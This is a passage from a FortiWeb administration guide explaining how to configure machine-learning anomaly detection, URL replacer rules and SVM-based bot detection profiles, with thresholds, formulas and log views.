area (the median rectangular area in the boxplot where most
of the data is located) of the new boxplot doesn't have any
overlapping part with the entire data distribution areas of the
sample boxplots.
l High—The system triggers model update as long as the
notch area of the new boxplot doesn't have any overlapping
part with that of the sample boxplots.
Update parameter model when number of This option appears when you enable Dynamically update
boxplots do not overlap when parameters change.
The default value is 2, which means if 2 newly generated boxplots
don't overlap with any one of the sample boxplots, FortiWeb
automatically updates the anomaly detection model.
You can set a value from 1 to 2.
Anomaly Detection Settings
Strictness Level for Anomaly The value of the strictness level ranges from 1 to 10.
The system uses the following formula to calculate whether a
sample is an anomaly:
The probability of the anomaly > μ + the strictness level *
σ
If the probability of the sample is larger than the value of "μ + the
strictness level * σ", this sample will be identified as anomaly.
μ and σ are calculated based on the probabilities of all the
samples collected during the sample collection period, where μ is
the average value of all the parameters' probabilities, σ is the
standard deviation. They are fixed values. So, the value of "μ +
the strictness level * σ" varies with the strictness level you set. The
smaller the value of the strictness level is, the more strict the
anomaly detection model will be.
This options set a global value for all the parameters. If you want
to adjust the strictness level for a specific parameter, See Manage
anomaly-detecting settings on page 773.
Threat Model
View Threat Models The system scans anomalies to verify whether they are attacks. It
provides a method to check whether an anomaly is a real attack
by the trained Support Vector Machine Model.

Click the View Threat Models link to enable or disable threat

models for different types of threats such as cross-site scripting,
SQL injection and code injection. Currently, seven trained Support
Vector Machine Model are provided for seven attack types.
Action Settings
Action All requests are scanned first by HMM and then by Threat model.
Double click the cells in the Action Settings table to choose the
action FortiWeb takes when attack is verified for each of the
following situations:
l Alert—Accepts the connection and generates an alert email
and/or log message.
l Alert & Deny—Blocks the request (or resets the connection)
and generates an alert and/or log message.
l Period Block—Blocks the request for a certain period of time.
Block Period Enter the number of seconds that you want to block the requests.
This option only takes effect when you choose Period Block in
Action.
Severity Select the severity level for this anomaly type. The severity level
will be displayed in the alert email and/or log message.
Trigger Action Select a trigger policy that you have set in Log&Report > Log
Policy > Trigger Policy. If potential or definite anomaly or
HTTP Method Violation is detected, it will trigger the system to
send email and/or log messages according to the trigger policy.
URL Replacer Policy Select the name of the URL Replacer Policy that you have created
in Machine Learning Templates.
If web applications have dynamic URLs or unusual parameter
styles, you must adapt URL Replacer Policy to recognize them.
If you have not created an URL Replacer Policy yet, you can leave
this option empty for now, and then edit this policy later when the
URL Replacer Policy is created. For more information on URL
Replacer Policy, see Configure a URL replacer rule on page 764
Allow sample collection for domains
Add domains in this table so that the system will collect samples and generate anomaly detection models for these
domains.
Here's what you can do:
l Click a domain or click the (View Domain) button in the Action column to view anomaly detection reports for
that specific domain. See Viewing domain data on page 768

l Click the (Refresh) button in the Action column to refresh the corresponding domain. Note:Refreshing deletes
all existing learning results.
l Click the (Export) button in the Action column to export the anomaly detection data of this domain.
l Click Create New to add more domains to let FortiWeb perform sample collection and intrusion detection on those
domains. You can use wildcard * to represent multiple domains. Refer to Maximum number of ADOMs, policies, &
server pools per appliance for the maximum domain number supported by the Machine Learning feature for your
FortiWeb Model.
l Click Delete to remove the selected domain(s). Note: This will remove all machine-learning results related to those
domain(s) as well.
l Click Import to import the anomaly detection data from your local directory to FortiWeb
IP List Type and Source IP list
Add IP ranges in the Source IP list, then select Trust or Black to allow or disallow collecting traffic data samples from
these IP addresses.
l Trust: The system will collect samples only from the IP ranges in the Source IP list.
l Black: The system will collect sample from any IP addresses except the ones in the Source IP list.
Whether selecting Trust or Black, if you leave the Source IP list blank, the system will collect traffic data samples
from any IP addresses. The maximum number of samples collected from each random IP address is 30. You can
change the maximum value through CLI command waf machine-learning-policy.
If you select Trust, then add IP ranges in the Source IP list, the sample collection limit will not take effect, which
means FortiWeb will collect traffic data samples only from the specified IP ranges and will not limit the number of
samples.
Configuring machine-learning templates
This section discusses how to configure machine-learning templates. Templates are required when the application uses
dynamic URLs and unusual parameters. This is not very common, and templates are not required in most cases.
Creating a machine-learning template has two steps:
1. URL Replacer Rule
2. URL Replacer Policy
Configure a URL replacer rule
URL replacer rules enable the machine-learning module to adapt to dynamic URLs and unusual parameters.
When web applications have dynamic URLs or unusual parameter styles, you must adapt the URL Replacer Rule to
recognize them.
By default, machine learning assumes that your web applications use the most common URL structure:

As seen above, most commonly used URLs share the following characteristics:
l All parameters follow a question mark (?). They do not follow a hash (#) or any other separator character.
l If there are multiple name-value pairs, each pair is separated by an ampersand &. They are not separated by a
semi-colon (;) or any other separator character.
l All paths before the question mark (?) are static—they do not change based upon input, blending the path with
parameters (sometimes called a dynamic URL).
For example, the page at
/app/main
always has that same path. After you log in, the page’s URL does not become
/app/marco/main
or
/app#deepa
For another example, the URL does not dynamically reflect the inventory, such as:
/app/sprockets/widget1024894
Some web applications, however, embed parameters within the path structure of a URL, or use unusual or non-uniform
parameter separator characters. If you do not configure URL replacers to handle such variations, it can cause the
system to gather machine learning data incorrectly, which can lead to the following consequences:
l Machine-learning reports do not contain the correct URL structure.
l URL- or parameter-learning is endless.
l Parameter data is incomplete, despite the fact that the FortiWeb appliance has seen traffic containing the
parameter.
For example, with Microsoft Outlook Web App (OWA), the user’s login name could be embedded within the path
structure of the URL, such as:
/owa/tom/index.html
/owa/mary/index.html
instead of suffixed as a parameter, such as:

/owa/index.html?username=tom
/owa/index.html?username=mary
Machine learning will continue to create new URLs as new users are added to OWA. It will also expend extra resources
learning about URLs and parameters that are actually the same. Additionally, machine learning may not be able to fully
learn the application structure because each user may not request the same URLs.

To address this issue, you must create a URL Replacer Rule that recognizes the user name within the OWA URL as if it
were a standard, suffixed parameter value so that machine learning can function properly.
To create a URL Replacer Rule:
1. Click Machine Learning > Machine Learning Templates.
2. Click the URL Replacer Rule tab.
4. Configure the parameters as described in the table below.
Parameters Function
Name Specify a unique name that can be referenced by other parts of the configuration.
Note: The name can be up to 63 characters long with no space or special character.
Type Select either of the following:

l Predefined—Use one of the predefined URL replacers which can be selected from the
Application Type below.
l Custom-Defined—Define your own URL replacer by configuring the URL Path, New
URL, Param Change, and New Param fields below.
Application Type If you have selected Predefined in the Type field above, then you must click the down
arrow and select either of the following from the list menu:
l JSP—Use the URL replacer designed for Java server pages (JSP) web applications,
where parameters are often separated by semi-colon (;).
l OWA 2003— Use the URL replacer designed for default URLs in Microsoft Outlook
Web App (OWA), where user name and directory parameters are often embedded
within the URL, as illustrated below:
(^/public/)(.*)
(^/exchange/)([^/]+)/*(([^/]+)/(.*))*
Note: These two application types are predefined URL interpreter plug-ins used by popular
web applications.
Custom-Defined If you have selected Custom-Defined in the Type field above, then you must populate the
following fields:
URL Path Enter a regular expression, such as (^/[^/]+)/(.*), matching all and only the URLs to which
the URL replacer should apply. The URL path can be up to 256 characters long.
The pattern does not require a backslash (/). However, it must at least match URLs that
begin with a backslash as they appear in the HTTP header, such as /index.html. Do not
include the domain name, such as www.example.com.
To test the regular expression against a sample text, click the >> (Test) icon. This opens
the Regular Expression Validator dialog where you can fine-tune the expression.
Note: If this URL replacer is to be used sequentially in a set of URL replacers, instead of
being mutually exclusive, this regular expression must match the URL produced by the
preceding interpreter rather than the original URL from the request.
New URL Enter either a literal URL, such as /index.html, or a regular expression with a back-
reference (such as $1) defining how the URL will be interpreted. The new URL cab be up to
256 characters long.

Parameters Function
Note: Back-references can only refer to capture groups (parts of the expression surrounded
with parentheses) within the same URL replacer, and must not refer to capture groups in
other URL replacers.
Param Change Enter either the parameter’s literal value, such as user1, or a back-reference (such as $0)
defining how the value will be interpreted.
New Param Type either the parameter’s literal name, such as username, or a back-reference (such as
$2) defining how the parameter’s name will be interpreted in the auto-learning report. You
can use up to 256 characters.
Note: Back-references can only refer to capture groups (parts of the expression surrounded
with parentheses) within the same URL replacer. They must not refer to capture groups in
other URL replacers.
Configuring a URL replacer policy
In order to use URL Replacer Rules with a machine-learning policy, you must group URL replacer rules into sets, which
form URL replacer policies.
The sets can be mutually exclusive, where a set contains expressions for all possible URL structures, but only one of the
URL replacer rules will match a given request’s URL.
They also can be sequential, where a set contains expressions to interpret multiple parameters in a single given URL;
each interpreter’s URL input is the URL output of the preceding interpreter, and they each parse the URL until all
parameters have been extracted; the sequential order of URL replacer rules is determined by the URL replacer rule’s
priority in the set.
To configure a URL replacer policy:
1. Click Machine Learning > Machine Learning Templates.
2. Click the URL Replacer Policy tab.
3. Click Create New .
4. In Name, type a name that can be referenced by other parts of the configuration. Note: The name can be up to 63
characters long, with no space or special characters.
5. Click OK.
6. Click Create New, and select the URL replacer rule to be grouped in the URL replacer policy.
7. Click OK.
Note: You can select URL replacer policy in one or more machine-leaning profiles, using the following steps:
1. Click Machine Learning > Anomaly detection.
2. Double-click an anomaly detection pofile to open the profile.
3. Scroll down to the Action Settings section.
4. Click the URL Replacer Policy down arrow to select a URL replacer policy.
5. Repeat Steps 1 through 4 to select other URL replacer policies in the same or another machine-learning profiles.

Viewing domain data
The system provides three dimensions to view the domain data:

l Overview
A high level summary of data collected for the domain, including Top 10 URLs by Hit, Violations triggered by
anomalies, HMM learning process, Event Dashboard.
l Tree View
Display the entire URL directory of the domain in a tree view. You can click the URL path to view its violation
statistics.
l Parameter View
Display statistics related with parameters, such as HMM learning stages, boxplots, distribution of anomalies. You
can also rebuild parameters or set the strictness level for anomalies.
To view the collected domain data:
1. Click Machine Learning > Anomaly Detection.
2. Double-click a server policy that contains the desired anomaly detection profile.
3. Scroll down to the bottom of the Edit Anomaly Detection Configuration page.
4. In the Action column, click (View Domain).
Overview
The Overview tab provides a summary of data collected for the domain through the use of the anomaly detection
profile. It reports information about the entire domain, including the domain overview, Top 10 URLs by Hit, HMM
Learning Progress, Violations Triggered by Anomalies, and Events Dashboard.
Domain overview
The top of the Overview page provides a high-level summary of the data that the machine-learning model has learned
about the domain.
Parameters Description
Access Frequency Indicates how frequent this application is being accessed.
Start Time The date and time when the machine-learning module started to learn about the
domain.

URL Number The total number of URLs that the machine-learning module has learned.
Action (Alert/Block) The total number of the alerts, including both Alert action and Alert & Deny action, that
has been issued since the start time up to the present moment, as well as the
percentage of each in the total number of requests.
Service(HTTP/HTTPS) The total amount of the HTTP and the HTTPS traffic from the start time up to now.
Page Charset The charset of URLs in the domain, such as UTF-8.
Top 10 URLs by Hit
The Top 10 URLs by Hit chart displays the top 10 URLs for page hits counts.
HMM Learning Progress
This chart displays the statistics of HMM learning states of all parameters in the domain.
Collecting Indicates that the learning progress of parameters is in the sample collecting stage.
Building Indicates that, after successfully collected the samples, the anomaly detection module
has begun to build all the needed mathematical models for the parameters. This is the
mathematical models-building stage.
Testing Indicates that, after successfully built the mathematical models, the models are being
tested. All models are required to be tested against a certain number of samples until
they have proved to be stable.
Running Indicates that the mathematical models of the parameters are stable, and the anomaly
detection model is running. Requests triggering an anomaly will move into the second
anomaly detection layer to check whether they are actual threats.
Discarded Indicates that FortiWeb has determined that it cannot build a mathematical model for
these parameters, and therefore will not use anomaly detection to protect them.
Violations Triggered by Anomalies
This chart displays the total number of the potential anomalies and definite anomalies found by the anomaly detection
pofile.
Event Dashboard
This chart displays the anomaly detection events, such as sample collection, model running, building and testing, along
with the time periods when these events take place.

Tree View
The Tree View displays the entire URL directory of the domain in a tree view. You can choose either one of the URLs to
view its violation statistics. Please note that only the URLs with parameters are included in the Tree View directory.
Web site directory
The left panel of the Tree View page shows the directory structure of the website. The / (backslash) indicates the root of
the site. You can click a URL in the directory tree, then the violation statistics of this URL will be displayed on the right
side of the Tree View page. You can also click a directory, then Rebuild Directory to rebuild anomaly detection models
for all the URLs under the selected directory.
URL-specific data
This part of the Tree View page shows the statistics of a specific URL.
Access Frequency The frequency at which this URL was accessed in last 24 hours. The frequency is divided
into 7 levels, as defined below:
l Level1 ( over 500 requests )
Model Initialization The date and time when the mathematical model of this URL was initialized. It shows
Date when FortiWeb began to learn about the data of this URL.
Action (Alert/Block) The actions taken for this URL for all requests in last 24 hours, including the number of
requests alerted and blocked.
Anomaly The anomalies detected by the machine learning model.
Violation Trend
This chart shows the trend of violations in last 24 hours, including the number of violations alerted and blocked.
Triggered Violations Based on Anomaly Type
This chart shows the number of violations triggered by anomaly type in the last 24 hours.

Rebuild URL and Import buttons
The Tree View page also provides two control buttons: Rebuild URL and Import.
l Rebuild URL—Click this button to clear the preceding mathematical model for the parameters in this URL, and
then begin collecting new samples and build the models again. The samples collected for the previous model will
be discarded.
l Import— Click this button to import an existing mathematical model of a specific parameter. For information on
exporting data of a parameter, see Actions you can take on any parameter on page 774.
Parameters
Parameters tab shows the HMM learning states of all the parameters attached to the URL. For example, if the URL is
http://www.demo.com/1.php?user_name=jack, then user_name is the parameter. An URL can contain multiple
parameters. Click the (View HMM Details) icon to view details on this parameter.
Parameter View
Parameter View displays anomaly detection statistics for all the parameters. Click the parameter name in the left-side
navigation bar to see details for this parameter.
Parameter Name: The name of the parameter.
HMM Learning Stage: The stage which the HMM learning process is in. It can be one of the following:
l Collecting—The system is collecting data samples.
l Building—Sample collection is completed, and is building the mathematical models. Note: This phase last only a
few seconds.
l Testing—In this phase, the system collects 500 samples for this argument, and tests them against the
mathematical model. If 5% of the samples for this argument are recognized as anomalies, this mathematical
model is considered invalid. The system will collect more samples to update the model.
l Running—The system enters this stage after the testing has completed successfully. FortiWeb will use this
mathematical model to evaluate all new samples for this argument. If the samples are anomalies, the system will
employ the second anomaly detection layer to verify whether the anomaly is an attack and take the corresponding
action.
l Discarded—FortiWeb has determined that it cannot build a mathematical model for these parameters, and
therefore will not use anomaly detection to protect them.
Collected Samples: The number of samples collected during the sample collection period.
Please note that the diagrams introduced below are available only when the status is in testing or running stage.
Probability Boxplots
Applications change frequently as new URLs are added and existing parameters provide new functions. This means the
mathematical model of the same parameter might be different than what FortiWeb originally observed during the
collection phase. In this case, FortiWeb needs to re-learn the parameter and then updates the mathematical model for
it.
First of all, FortiWeb needs to determine that the functions of the parameter have changed. To do that, it uses boxplots
to depict numerical data and the probability distribution of a certain number of parameter values.

Every time the system observes 500 valid parameter values, it generates one boxplot to display the probability
distribution of these values. During sample collection period, the system generates 2 or 4 boxplots (sample boxplots).
After anomaly detection model is built, the system will keep on generating new boxplots to display the probability
distribution of the new inputs. The following is an example of the boxplot diagram. The new boxplot is shown in blue,
whereas the sample boxplots are brown. The system displays at most five new boxplots. With new inputs coming in and
new boxplot generated, the system will remove the oldest one at the left to spare a place for the new boxplot.
In the boxplot diagram, the median rectangular area in the boxplot where most of the data is located is called the notch
area, whereas the entire area containing all the data from the maximum value to the minimum value is called the entire
data distribution area. Depending on the Application Change Sensitivity you set in the anomaly detection profile,
when the system observes different extent of overlapping area between the new boxplot and sample boxplots, it
determines that the functions of the parameter have changed and then updates mathematical model for this parameter
(i.e., re-collect samples and build model).
l Low—The system triggers model update only when the entire data distribution area of the new boxplot doesn't
have any overlapping part with that of the sample boxplots.
l Medium—The system triggers model update if the notch area of the new boxplot doesn't have any overlapping part
with the entire data distribution areas of the sample boxplots.
l High—The system triggers model update as long as the notch area of the new boxplot doesn't have any
overlapping part with that of the sample boxplots.
The number of boxplots do not overlap configuration in anomaly detection profile is also a key factor to consider.
For example, if you set 2 in this option, the system triggers model update when 2 new boxplots don't overlap with the
sample boxplots.
Distribution of Anomalies triggered by HMM
This diagram displays the potential or definite anomalies in red and the normal requests collected during sample
collection phase in blue. The system judges whether a request is normal or not based on its probability and the length of
the parameter value.

Anomaly Strictness Level Details
The system uses the following formula to calculate whether a sample is an anomaly:
The probability of the anomaly > μ + the strictness level * σ
If the probability of the sample is larger than the value of "μ + the strictness level * σ", this sample will be identified as
anomaly.
μ and σ are calculated based on the probabilities of all the samples collected during the sample collection period, where
μ is the average value of all the parameters' probabilities, σ is the standard deviation. They are fixed values. So, the
value of "μ + the strictness level * σ" varies with the strictness level you set. As shown in the following diagram, the
dotted red line (that is, the value of "μ + the strictness level * σ") stays at the position where the strictness level is set to
3, as in μ + 3σ. If the strictness level is set to a smaller value, then the dotted red line will move closer to the center,
which may cause some samples to be detected as anomaly. In a word, the smaller the value of the strictness level is,
the more strict the anomaly detection model will be.
Manage anomaly-detecting settings
You can use the following options to experiment on the strictness levels.
Inherit global settings: Select this option if you want this parameter to inherit the strictness level you have set for the
domains in the anomaly detection policy.
Custom settings: Select this option if you want a different strictness level for this parameter. Specify different values
and observe the movement of dotted red line in the Anomaly Strictness Level Details diagram. Choose an appropriate
value to get the most optimistic detection accuracy, meanwhile the normal samples are not be falsely detected as
anomalies.
Test Sample : Click Test Sample, then enter a parameter value to verify whether it will be detected as an anomaly at
the current strictness level.

Actions you can take on any parameter
There is a configuration button which, when clicked, will open a drop-down menu with the following options.
Menu option Description
Rebuild Parameter Clear the preceding mathematical model for the parameter, and then begin collecting new
samples and build the models again. The samples collected for the previous model will be
discarded.
Discard Discards this parameter and does not re-build it. This will disable the learning for this
parameter and bypass anomaly detection all together for this parameter.
Export Export the mathematical model for this parameter to a file. You can import the model to
arbitrary URL. See Import under Rebuild URL and Import buttons on page 771
Noisy Samples
Noisy samples are the abnormal samples detected during the sample collection period. They are excluded from the
samples used to build the anomaly detection model.
If you believe a sample is falsely detected as a noise, you can click the status icon to exclude it from noisy samples, so
that it can be re-admitted to build the anomaly detection model.
Anomaly Samples
The samples which have been recognized as anomalies. The list may change as new strictness settings are applied.

Additional Samples
These are the samples manually added from the attack logs. For more information, see Add additional sample from
attack logs.
Events
The anomaly detection events, such as sample collection, model running, building and testing, along with the time
periods when these events take place. These events are also displayed in the anomaly detection Events dashboard in
Overview tab.
Viewing anomaly detection log
There are new attack logs for anomaly detection model violations. The anomaly detection log has the following sub-
types:
l Anomaly in http argument
l HTTP Method violation
l Charset detect failed
When machine learning detects an attack, the attack logs will be generated in Log & Report. Click an attack to view
more information about that attack in the far-right panel.
Anomaly Detection Information (bar chart)
The illustration below shows the anomaly values of HMM probability and argument length for the argument in a bar
chart. The green bar represents the average values of the learned samples for the argument; the yellow bar represents
the anomaly values for the current argument. Comparing it with the average values, you can easily see how abnormal
the argument is.

Attack Detection Information
The illustration shows the threat analysis results. Using this information, you can see what kind of attack the argument
could include. Anomaly detection model may detect multiple attack types in one argument. There are three suspicious
levels as shown in the pie chart.

The chart above reports two kinds of attack types: Cross-site Scripting and Local File Inclusion/Remote File Inclusion.
The system treats the Cross Site Scripting attack as more suspicious.
Add additional samples from attack logs
If the attack reported by the model is wrongly detected as an anomaly and should be categorized to regular traffic, you
can click This is not a threat!. The system will include this newly added sample into the sample set and rebuild the
model, so that the traffic which has the similar characteristics with this sample will not be reported as attacks anymore.
This process may take one or two minutes, and FortiWeb will not detect machine-learning anomalies at this process.
The added samples will be displayed as Additional Samples in the Parameter View.

Adjust machine-learning model
You can adjust an anomaly detection model by clicking the Operation button. It has three options: Rebuild the Model,
Relearn the Model, and Goto Argument Setting.
Button Description
Rebuild the Model Clear the preceding model, and then begin collecting new samples and build the models
again. The samples collected for the previous model will be discarded.
Relearn the Model Clear the preceding model, and then begin collecting more samples to build the model.
The samples collected for the previous model will be not discarded. They will be reused
to build the new model.
Goto Argument Setting Clicking this button to display the dialog where you can adjust the argument related to
anomaly detection.

Machine Learning HTTP Method Violation
The attack log below shows HTTP Method Violation.
From the right panel, you can see which HTTP method was learned by the anomaly detection module.
The anomaly detection log sub-type "Charset detect failed" is triggered when the machine learning module fails to
detect the argument charset. In the case, the system is unable to work for the argument. You must check to see if there
are such logs when the anomaly detection model is not working properly.
Aggregate machine-learning log
There are also aggregation logs for anomaly detection in Aggregation Attacks, as illustrated below.
Enable packet log for machine-learning attack logs
There is also a packet log for machine-learning attack logs. It is enabled by default. You can enable packet log for
anomaly detection attack logs from the GUI, as shown below.

Configuring bot detection profiles
Basic Concepts
The bot detection model has three stages: sample collecting, model building, and model running.
Sample collecting
To build up a bot detection model, the system collects samples (also called vector) of users' behaviors when they are
visiting your application. Each sample records a certain user's behaviors in a certain time range.
The samples are split into two parts. Three quarters of the samples are divided into training sample set. One quarter of
the samples are divided into testing sample set.
Model building
During the model building stage, the system observes the training samples to self-learn user behavior profiles and
builds up mathematical models using the SVM (Support Vector Machine) algorithm. The SVM parameters are used to
eliminate rogue training samples and control individual sample influence on the overall result.
Multiple models are built based on different parameter combinations in the SVM algorithm. According to the training
accuracy, cross-validation value, testing accuracy, and the model type you have configured, the system narrows down
the selection to one model and uses it as the bot detection model.
Model running
When the bot detection model is in running state, the system compares users' behaviors against the bot detection
model. If the traffic from a certain user doesn't match the model, the system will record the traffic as an anomaly. If a
certain times of anomalies are recorded for this user, the system will take actions such as sending alert emails or
blocking the traffic from this user.
It's possible that sometimes the traffic is false positively detected as an anomaly. The system uses Bot Confirmation to
confirm whether an anomaly is indeed a bot. If the false positive detection occurs so many times that it exceeds a
certain threshold, the system considers the current bot detection model invalid, and automatically updates the model.
Creating bot detection profiles
Bot detection profiles are part of a server policy. They are created on the Policy > Sever Policy page. All bot detection
profiles that you create will show up on the Machine Learning > Bot Detection page, where you can configure or edit
them to your preference.
To configure a bot detection profile:
1. Click Machine Learning > Bot Detection.
2. Double-click a bot detection profile of interest (or highlight it and then click the Edit button on top of the page) to
open it. The Edit bot detection page opens, which breaks down bot detection profile into several sections, each of
which has various parameters you can use to configure the profile.

3. Follow the instructions in the following subsections to configure a bot detection profile.
The Advanced settings in the bot detection profile are hidden by default. Run the
following commands to show the settings:
config waf bot-detection-policy
edit <bot-detection-policy_ID>
set advanced-mode enable
next
end
Sections & Para- Function

meters
Sample Settings
Client The data collected in one sample should be from the same user. The system uses IP, IP and
Identification User-Agent, or Cookie to identify a user.
Method IP: The traffic data in one sample should come from the same source IP.
IP and User-Agent: The traffic data in one sample should come from the same source IP
and User-Agent (the browser).
Cookie: The traffic data in one sample should have the same cookie value.
Sampling Time per Each vector (also called sample) records a certain user's behaviors in a certain time range.
Vector This option defines how long the time range is.
For example, if the Sample Time Per Vector is 5 minutes, the system will record a certain
user's behaviors in 5 minutes and count it as one sample.
Sample Count per This option controls how many samples FortiWeb will collect from each client (user) in an
Client per Hour hour.
For example, if the value is set to 3, and a client generates 10 samples in an hour, the system
only collects the first 3 samples from this client in an hour. If the client generates more
samples in the second hour, the system continues collecting samples from this client until the
sample count reaches 3.
This option prevents the system from continuously collecting samples from one client, thus to
avoid the interference of the bot traffic in the sampling stage.
Sample Count This option controls how many samples should be collected during the sample collection
period.
More samples mean the model will be more accurate; but at the same time, it costs longer
time to complete the sample collection.
Not all traffic data will be collected as samples. The system abandons traffic data if it meets
one of the following criteria:
l The system sends Javascript challenge to user clients before collecting samples from
them. If a client doesn't pass the challenge, the system will not collect sample data from
it.
l The traffic is from malicious IPs reported by the IP Intelligence feature, or is recognized
as a bot by the system.
l The traffic is from Known Engines, such as Google and Bing. The system also skips the
known engine traffic when executing bot detection.


meters
Using these criteria is to exclude malicious traffic and the traffic from known engines that act
like a bot, thus to make sure the bot detection model is built upon valid data collected from
regular users.
Model Building Settings
Model Type Multiple models are built during the model building stage. The system uses training accuracy,
cross-validation value, and testing accuracy to select qualified models.
The Model Type is used to select the one final model out of all the qualified models.
l If you configure the Model Type to Moderate, the system chooses the model which has
the highest training accuracy among all the qualified models.
l If you configure the Model Type to Strict, the system chooses the model which has the
lowest training accuracy among all the qualified models.
The Strict Model detects more anomalies, but there are chances that regular users are false
positively detected as bots.
The Moderate Model is comparatively loose. It's less likely to conduct false positive
detection, but there are risks that real bots might be escaped from detection.
There isn't a perfect option for every situation. Whichever model type you choose, you can
always leverage the options in Anomaly Detection Settings and Action Settings to
mitigate the side effects, for example, using Bot Confirmation to avoid false positive
detections.
Advanced (Model Building Settings)

Training Accuracy The training accuracy is calculated by this formula:
The number of the regular samples in the training sample set/the total number of
training samples * 100%.
As we have introduced in the Basic Concepts section, multiple models are built based on
multiple parameter combinations in the SVM algorithm. The system uses each model to
detect anomalies in the sample set, and calculates the training accuracy for each model.
For example, if there are 100 training samples, and 90 of them are treated as regular
samples by a model, then the training accuracy for this model is 90%.
The default value for the training accuracy is 95%, which means only the models whose
training accuracy equals to or higher than 95% will be selected as qualified models.
Cross-Validation The system divides the training sample sets evenly into three parts, let's say, Part A, B and C.
Value The system executes three rounds of bot detection:
l First, the system observes the samples in Part A and B to build up a mathematical
model, then uses this model to detect anomalies in Part C.
l Then, the system observes the samples in Part B and C to build up a mathematical
model, then uses this model to detect anomalies in Part A.
l At last, the system observes the samples in Part A and C to build up a mathematical
model, then uses this model to detect anomalies in Part B.
The cross-validation value is calculated by this formula:
The total number of the regular samples/the total number of samples * 100%.
For example, if there are 100 samples, and 10 anomalies are detected in the three rounds,
then the cross-validation value for this model is: (100-10)/100 * 100% = 90%.


meters
Cross-Validation Value equals to or higher than 90% will be selected as qualified models.
Testing Accuracy Three quarters of the samples are divided into training sample set, and one quarter of the
samples are divided into testing sample set. The system uses the models built for the training
sample set to detect anomalies in the testing sample set. If the training accuracy and testing
accuracy for a model vary greatly, it may indicate the model is not invalid.
The testing accuracy is calculated by this formula:
The number of the regular samples in the testing sample set/the number of the
testing samples * 100%.
For example, if there are 100 testing samples, and 95 of them are treated as regular samples
by a model, then the testing accuracy for this model is 95%.
testing accuracy equals to or higher than 95% will be selected as qualified models.
Anomaly Detection Settings
Anomaly Count If the system detects certain times of anomalies from a user, it takes actions such as sending
alerting emails or blocking the traffic from this user.
Anomaly Count controls how many times of anomalies are allowed for each user.
For example, the Anomaly Count is set to 4, and the system has detected 3 anomalies in the
last 6 vectors. If the 7th vector is detected again as an anomaly, the system will take actions.
Please note that if no valid traffic is collected for the 7th vector (for example, the user leaves
your application), the system will clear the anomaly count and the user information. If the
user revisits your application, he/she will be treated as new users and the system starts
anomaly counting afresh.
Since this option allows certain times of anomalies from a user, it might be a good choice if
you want to avoid false positive detections.
Bot Confirmation If the number of anomalies from a user has reached the Anomaly Count, the system
executes Bot Confirmation before taking actions.
The Bot Confirmation is to confirm if the user is indeed a bot. The system sends RBE (Real
Browser Enforcement) JavaScript or CAPTCHA to the client to double check if it's a real bot.
For Browser
Verification Disable: Do not execute browser verification.

Method Real Browser Enforcement: The system sends a JavaScript to the client to verify whether
it is a web browser.
CAPTCHA Enforcement: The system requires clients to successfully fulfill a CAPTCHA
request.
It will triger the action policy if the traffic is not from web browser.
Validation Timeout Enter the maximum amount of time (in seconds) that FortiWeb waits for results from the
client for Bot Confirmation. The default value is 20. The valid range is 5–30.


meters
Max Attempt Times Enter the maximum times that FortiWeb attempts to validate whether the request is from
browser.
Available only when CAPTCHA Enforcement is selected.
For mobile client Apps
Verification Disable: Do not execute mobile client verification.

Method Mobile-Token-Validation: The system verifies the mobile token to verify whether the traffic
is from mobile devices. It will triger the action policy if the traffic is not from mobile devices.
Dynamically With the option enabled, FortiWeb can detect if the current model is applicable. If not,
Update Model FortiWeb will refresh the current model automatically.
Advanced (Anomaly Detection Settings)

Auto Refresh Auto Refresh Factor controls the timing to trigger the model refreshment when a certain
Factor number of false positive vectors are detected.
FortiWeb makes statistics for the bot detection in the past 24 hours. It counts the number of
the following vectors:
l All vectors in the past 24 hours (A),
l Anomaly vectors (B), and
l The anomaly vectors that are confirmed as bots (C)
If (B - C)/(A - C) > 1 - Auto Refresh Factor * training accuracy, the model will be
refreshed.
l (B - C) is the false positive vectors, and (A - C) is the regular vectors. (B - C)/(A - C)
represents the false positive rate.
l (1 - Auto Refresh Factor * training accuracy) is an adjusted anomaly vector rate.
You can consider it as an auto refresh threshold.
If the false positive rate (B - C)/(A - C) becomes greater than the auto refresh threshold (1 -
Auto Refresh Factor * training accuracy), the system determines the current model is not
applicable and automatically refreshes the model.
The following table calculates the value of the auto refresh threshold when the Auto Refresh
Factor is set to 0-1 (assuming the training accuracy is the default value 95%).
For example, if the Auto Refresh Factor is set to 0.8, the auto refresh threshold will be 1 - 0.8
* 95% = 0.24, which means the system automatically refreshes the model when the false
positive rate is greater than 0.24 (e.g. 24 false positive vectors and 100 regular vectors).
You can use this table to quickly decide a value for the Auto Refresh Factor that is suitable for
your situation.


meters
Minimum Vector As we mentioned above, the system decides whether to update the bot detection model
Number based on the statistics in the past 24 hours. If very few vectors are detected in the past 24
hours, it may interfere the rightness of the model refreshment decision.
Set a value for the Minimum Vector Number, so that the system won't update the model if the
number of the vectors hasn't reached this value.
If the value is set to 0, the system will use the value of the Sample Count as the Minimum
Vector Number.
Action Settings
Action Double click the cells in the Action Settings table to choose the action FortiWeb takes when a
user client is confirmed as a bot:
l Alert—Accepts the connection and generates an alert email and/or log message.
l Alert & Deny—Blocks the requests from the user (or resets the connection) and
generates an alert and/or log message.
l Period Block—Blocks the requests from the user for a certain period of time.
Block Period Enter the number of seconds that you want to block the requests. The valid range is 1–3,600
seconds (1 hour).
This option only takes effect when you choose Period Block in Action.
Severity Select the severity level for this anomaly type. The severity level will be displayed in the alert
email and/or log message.
Trigger Action Select a trigger policy that you have set in Log&Report > Log Policy > Trigger Policy. If
an anomaly is detected, it will trigger the system to send email and/or log messages
according to the trigger policy.
Limit sample collection from IPs
Add IP addresses in this table so that the system will collect sample data only from the specified IP addresses.

If you leave this table blank, there will be no limitation for the IP addresses, which means the system will collect sample
data from any IP addresses.
To collect samples only from certain IP address:
1. In the Limit Sample Collections From IPs section, click Create New.
2. Enter the IP range. Both IPv4 and IPv6 addresses are supported.
3. Click OK.
Exception URLs
The system collects samples from any IP address except the ones in the Exception URLs list.
Due to the nature of some web pages, such as the stock list web page, even regular users may behave like bots
because they tend to frequently refresh the pages. You may need to add these URLs in the exception list, otherwise the
model may be invalid because too many bot-like behaviors are recorded in the samples.
To add Exception URLs:
1. In the Exception URLs section, click Create New.
2. Configure the settings:
Parameters Functions
Host Status Enable to compare the URLs to the Host: field in the HTTP header.
Host Select the IP address or FQDN of a protected host.
Type Select whether the Exception URLs must contain either:

l Simple String—The field is a string that the Exception URL must
match exactly.
URL Pattern Depending on your selection in Type , enter either:

HTTP request must contain in order to match the rule. The URL must
begin with a slash ( / ).
